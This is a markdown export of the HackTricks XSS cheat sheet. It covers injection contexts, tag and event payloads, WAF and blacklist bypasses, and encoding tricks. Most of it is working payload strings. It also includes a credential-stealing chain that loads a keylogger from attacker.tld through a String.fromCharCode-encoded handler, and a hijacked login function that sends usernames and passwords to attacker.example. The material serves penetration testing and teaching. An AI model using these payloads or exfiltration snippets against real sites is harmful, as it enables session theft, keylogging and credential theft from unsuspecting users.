daemon-sec-cheatsheet

overview.md (95076B)

---

 ---
 title: "XSS (Cross Site Scripting)"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/xss-cross-site-scripting/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # XSS (Cross Site Scripting)
 
 ## Methodology
 
 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
 2. **Find the context** where it's reflected/used.
 3. If **reflected**
    1. Check **which symbols can you use** and depending on that, prepare the payload:
       1. In **raw HTML**:
          1. Can you create new HTML tags?
          2. Can you use events or attributes supporting `javascript:` protocol?
          3. Can you bypass protections?
          4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](/hacktricks/pentesting-web/client-side-template-injection-csti).
          5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
       2. Inside a **HTML tag**:
          1. Can you exit to raw HTML context?
          2. Can you create new events/attributes to execute JS code?
          3. Does the attribute where you are trapped support JS execution?
          4. Can you bypass protections?
       3. Inside **JavaScript code**:
          1. Can you escape the `<script>` tag?
          2. Can you escape the string and execute different JS code?
          3. Are your input in template literals \`\`?
          4. Can you bypass protections?
       4. Javascript **function** being **executed**
          1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
 4. If **used**:
    1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
 
 When working on a complex XSS you might find interesting to know about:
 
 
 [Debugging Client Side Js](/hacktricks/pentesting-web/xss-cross-site-scripting/debugging-client-side-js)
 
 ## Reflected values
 
 In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
 
 - **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
 - **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
 - **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
 
 ## Contexts
 
 When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
 
 ### Raw HTML
 
 If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.\
 Also, keep in mind [Client Side Template Injection](/hacktricks/pentesting-web/client-side-template-injection-csti).
 
 ### Inside HTML tags attribute
 
 If your input is reflected inside the value of the attribute of a tag you could try:
 
 1. To **escape from the attribute and from the tag** (then you will be in the raw HTML) and create new HTML tag to abuse: `"><img [...]`
 2. If you **can escape from the attribute but not from the tag** (`>` is encoded or deleted), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
 3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
 4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`**
 
 #### Attribute-only login XSS behind WAFs
 
 A corporate SSO login page reflected the OAuth `service` parameter inside the `href` attribute of `<a id="forgot_btn" ...>`. Even though `<` and `>` were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as `" onfocus="payload" x="`.<sup>[[1]](#references)</sup>
 
 1. **Inject the handler:** Simple payloads like `onclick="print(1)"` were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: `onfocus="(history.length);malicious_code_here"`.
 2. **Auto-trigger it:** Browsers focus any element whose `id` matches the fragment, so appending `#forgot_btn` to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click.
 3. **Keep the inline stub tiny:** The target already shipped jQuery. The handler only needed to bootstrap a request via `$.getScript(...)` while the full keylogger lived on the attacker's server.
 
 **Building strings without quotes**
 
 Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with `String.fromCharCode`. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute:
 
 ```javascript
 function toCharCodes(str){
   return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
 }
 console.log(toCharCodes('https://attacker.tld/keylogger.js'))
 ```
 
 A resulting attribute looked like:
 
 ```html
 onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
 ```
 
 **Why this steals credentials**
 
 The external script (loaded from an attacker-controlled host or Burp Collaborator) hooked `document.onkeypress`, buffered keystrokes, and every second issued `new Image().src = collaborator_url + keys`. Because the XSS only fires for unauthenticated users, the sensitive action is the login form itself—the attacker keylogs usernames and passwords even if the victim never presses "Login".
 
 Weird example of Angular executing XSS if you controls a class name:
 
 ```html
 <div ng-app>
   <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
 
 ### Inside JavaScript code
 
 In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
 
 - If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
 - If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
   - `'-alert(1)-'`
   - `';-alert(1)//`
   - `\';alert(1)//`
 - If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
 - **Unicode encode** works to write **valid javascript code**:
 
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
 
 #### Javascript Hoisting
 
 Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\
 **Check the following page for more info:**
 
 
 [Js Hoisting](/hacktricks/pentesting-web/xss-cross-site-scripting/js-hoisting)
 
 ### Javascript Function
 
 Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
 
 A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
 
 ![Javascript Hoisting - Javascript Function: A good way to find out if something given directly by the user is trying to be executed is modifying the param value (for example to...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28711%29.png)
 
 In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
 
 However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
 
 ![Javascript Hoisting - Javascript Function: However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to access any...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28747%29.png)
 
 Some useful functions for this:
 
 ```text
 firstElementChild
 lastElementChild
 nextElementSibiling
 lastElementSibiling
 parentElement
 ```
 
 You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
 
 However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
 
 Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
 
 
 [Some Same Origin Method Execution](/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution)
 
 ### DOM
 
 There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
 
 
 [Dom Xss](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss)
 
 ### **Universal XSS**
 
 These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
 Some **examples**:
 
 
 [Server Side Xss Dynamic Pdf](/hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf)
 
 
 [Electron Desktop Apps](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/overview)
 
 ## WAF bypass encoding image
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/EauBb2EX0AERaNK%20%281%29.jpg)
 
 ## Injecting inside raw HTML
 
 When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
 For this cases also **keep in mind** [**Client Side Template Injection**](/hacktricks/pentesting-web/client-side-template-injection-csti)**.**\
 _**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
 
 In this case and if no black/whitelisting is used, you could use payloads like:
 
 ```html
 <script>
   alert(1)
 </script>
 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
 
 But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\
 Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.
 
 ### Tags/Events brute-force
 
 Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
 
 ### Custom tags
 
 If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
 
 ```text
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 
 ### Blacklist Bypasses
 
 If some kind of blacklist is being used you could try to bypass it with some silly tricks:
 
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
 <img --> <ImG
 
 //Double tag, in case just the first match is removed
 <script><script>
 <scr<script>ipt>
 <SCRscriptIPT>alert(1)</SCRscriptIPT>
 
 // You can substitute these characters for the space between attributes:
 /
 /*%00/
 /%00*/
 %2F
 %0D
 %0C
 %0A
 %09
 
 //Unexpected parent tags
 <svg><x><script>alert('1'&#41</x>
 
 //Unexpected weird attributes
 <script x>
 <script a="1234">
 <script ~~~>
 <script/random>alert(1)</script>
 <script      ///Note the newline
 >alert(1)</script>
 <scr\x00ipt>alert(1)</scr\x00ipt>
 
 //Not closing tag, ending with " <" or " //"
 <iframe SRC="javascript:alert('XSS');" <
 <iframe SRC="javascript:alert('XSS');" //
 
 //Extra open
 <<script>alert("XSS");//<</script>
 
 //Just weird an unexpected, use your imagination
 <</script/script><script>
 <input type=image src onerror="prompt(1)">
 
 //Using `` instead of parenthesis
 onerror=alert`1`
 
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
 
 ### Length bypass (small XSSs)
 
 > [!NOTE] > **More tiny XSS for different environments** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
 
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
 
 The last one is using 2 unicode characters which expands to 5: telsr\
 More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
 To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
 If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](/hacktricks/pentesting-web/clickjacking#xss-clickjacking) (if the page is vulnerable).
 
 ### Impossible - Dangling Markup
 
 If it is impossible to create an HTML tag with an attribute that executes JavaScript, check [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html): the injection may still be exploitable **without JavaScript execution**.
 
 ## Injecting inside HTML tag
 
 ### Inside the tag/escaping from attribute value
 
 If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](#injecting-inside-raw-html) to execute JS code.\
 If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
 
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
 
 **Style events**
 
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
 
 #ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
 
 ### Within the attribute
 
 Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
 Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
 
 **Bypass inside event using HTML encoding/URL encode**
 
 The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
 Note that **any kind of HTML encode is valid**:
 
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
 //HTML hex without zeros
 &#x27-alert(1)-&#x27
 //HTML hex with zeros
 &#x00027-alert(1)-&#x00027
 //HTML dec without zeros
 &#39-alert(1)-&#39
 //HTML dec with zeros
 &#00039-alert(1)-&#00039
 
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
 <a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%26#106;avascript:alert(2)">a</a>
 <a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/jav%26#x61script:alert(3)">a</a>
 ```
 
 **Note that URL encode will also work:**
 
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
 
 **Bypass inside event using Unicode encode**
 
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
 
 ### Special Protocols Within the attribute
 
 There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't.
 
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
 javascript:%61%6c%65%72%74%28%31%29 //URL encode
 javascript&colon;alert(1)
 javascript&#x003A;alert(1)
 javascript&#58;alert(1)
 javascript:alert(1)
 java        //Note the new line
 script:alert(1)
 
 data:text/html,<script>alert(1)</script>
 DaTa:text/html,<script>alert(1)</script>
 data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
 data:text/html;charset=UTF-8,<script>alert(1)</script>
 data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
 
 **Places where you can inject these protocols**
 
 **In general** the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** (but not `<img`)
 
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 <form action="javascript:alert(1)"><button>send</button></form>
 <form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
 <object data=javascript:alert(3)>
 <iframe src=javascript:alert(2)>
 <embed src=javascript:alert(1)>
 
 <object data="data:text/html,<script>alert(5)</script>">
 <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
 <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
 <iframe src="data:text/html,<script>alert(5)</script>"></iframe>
 
 //Special cases
 <object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
 
 **Other obfuscation tricks**
 
 _**In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.**_
 
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
 
 Moreover, there is another **nice trick** for these cases: **Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.
 
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
 
 Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**.
 
 **Using Hex and Octal encode with `javascript:`**
 
 You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**:
 
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
 <iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
 <iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
 
 //Encoded: alert(1)
 // This doesn't work
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
 
 ### Reverse tab nabbing
 
 ```javascript
 <a target="_blank" rel="opener"
 ```
 
 If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
 
 
 [Reverse Tab Nabbing](/hacktricks/pentesting-web/reverse-tab-nabbing)
 
 ### on Event Handlers Bypass
 
 First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" event handlers**.\
 In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:
 
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
 <svg %09onload%20=alert(1)>
 <svg onload%09%20%28%2c%3b=alert(1)>
 
 //chars allowed between the onevent and the "="
 IExplorer: %09 %0B %0C %020 %3B
 Chrome: %09 %20 %28 %2C %3B
 Safari: %2C %3B
 Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
 
 ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 
 From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **it's now possible to abuse hidden inputs with:**
 
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
 
 And in **meta tags**:
 
 ```html
 <!-- Injection inside meta attribute-->
 <meta
   name="apple-mobile-web-app-title"
   content=""
   Twitter
   popover
   id="newsletter"
   onbeforetoggle="alert(2)" />
 <!-- Existing target-->
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
 
 From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
 
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
 
 **The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
 
 ### Blacklist Bypasses
 
 Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
 - **URL encoding**
 - **Hex and Octal encoding**
 - **data encoding**
 
 **Bypasses for HTML tags and attributes**
 
 Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
 **Bypasses for JavaScript code**
 
 Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
 If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
 
 For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
 But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
 
 > .test {display:block; color: blue; width: 100%\}
 
 and
 
 > \#someid {top: 0; font-family: Tahoma;}
 
 Now you can modify our link and bring it to the form
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
 This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)<sup>[[8]](#references)</sup>
 
 ## Injecting inside JavaScript code
 
 In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
 
 ### Escaping \<script> tag
 
 If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
 
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
 
 Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
 
 ### Inside JS code
 
 If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
 
 ```text
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
 
 #### JS-in-JS string break → inject → repair pattern
 
 When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
 
 ```text
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
 
 Example URL pattern when the vulnerable parameter is reflected into a JS string:
 
 ```text
 ?param=test";<INJECTION>;a="
 ```
 
 This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.<sup>[[4]](#references)</sup>
 
 ### Template literals \`\`
 
 In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
 Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
 
 This can be **abused** using:
 
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
 
 ```javascript
 // This is valid JS code, because each time the function returns itself it's recalled with ``
 function loop() {
   return loop
 }
 loop``
 ```
 
 ### Encoded code execution
 
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are necessary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
 
 #### Deliverable payloads with eval(atob()) and scope nuances
 
 To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:<sup>[[4]](#references)</sup>
 
 ```text
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
 
 Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
 
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
 document.head.appendChild(s);
 ```
 
 Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval<sup>[[5]](#references)</sup>
 
 ### Unicode Encode JS execution
 
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
 
 ### JavaScript bypass blacklists techniques
 
 **Strings**
 
 ```javascript
 "thisisastring"
 'thisisastrig'
 `thisisastring`
 /thisisastring/ == "/thisisastring/"
 /thisisastring/.source == "thisisastring"
 "\h\e\l\l\o"
 String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 "\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
 "\164\150\151\163\151\163\141\163\164\162\151\156\147"
 "\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
 "\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
 "\a\l\ert\(1\)"
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
 
 **Special escapes**
 
 ```javascript
 "\b" //backspace
 "\f" //form feed
 "\n" //new line
 "\r" //carriage return
 "\t" //tab
 "\b" //backspace
 "\f" //form feed
 "\n" //new line
 "\r" //carriage return
 "\t" //tab
 // Any other char escaped is just itself
 ```
 
 **Space substitutions inside JS code**
 
 ```javascript
 <TAB>
 /**/
 ```
 
 **JavaScript comments (from** [**JavaScript Comments**](#javascript-comments) **trick)**
 
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
 <!--This is a 1line comment
 #!This is a one-line comment, but "#!" must be at the beginning of the first line
 -->This is a one-line comment, but "-->" must be at the beginning of the first line
 ```
 
 **JavaScript new lines (from** [**JavaScript new line**](#javascript-new-lines) **trick)**
 
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
 alert("//\nalert(1)") //0x0a
